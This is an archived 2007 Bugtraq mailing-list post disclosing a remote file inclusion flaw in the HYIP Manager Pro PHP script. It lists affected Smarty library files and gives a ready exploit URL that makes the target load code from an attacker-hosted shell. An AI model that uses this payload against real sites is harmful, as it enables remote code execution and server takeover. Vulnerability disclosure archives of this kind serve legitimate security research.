lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070425074108.29311.qmail@securityfocus.com>
Date: 25 Apr 2007 07:41:08 -0000
From: alijsb@...oo.com
To: bugtraq@...urityfocus.com
Subject: HYIP Manager Pro Script  >> Remote file Include

vendor : www.goldcoders.com
BY : www.hackerz.ir userz,ali
filez ---- 
inc/libs/Smarty.class.php
inc/libs/Smarty_Compiler.class.php
inc/libs/core/core.display_debug_console.php
inc/libs/core/core.load_plugins.php
inc/libs/core/core.load_resource_plugin.php
inc/libs/core/core.process_cached_inserts.php
inc/libs/core/core.process_compiled_include.php
inc/libs/core/core.read_cache_file.php
+++++++++++++++++++++++++++++++++
u can find more then this one
exploit :
http://victim/inc/libs/Smarty_Compiler.class.php?plugin_file=http://shell/?

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ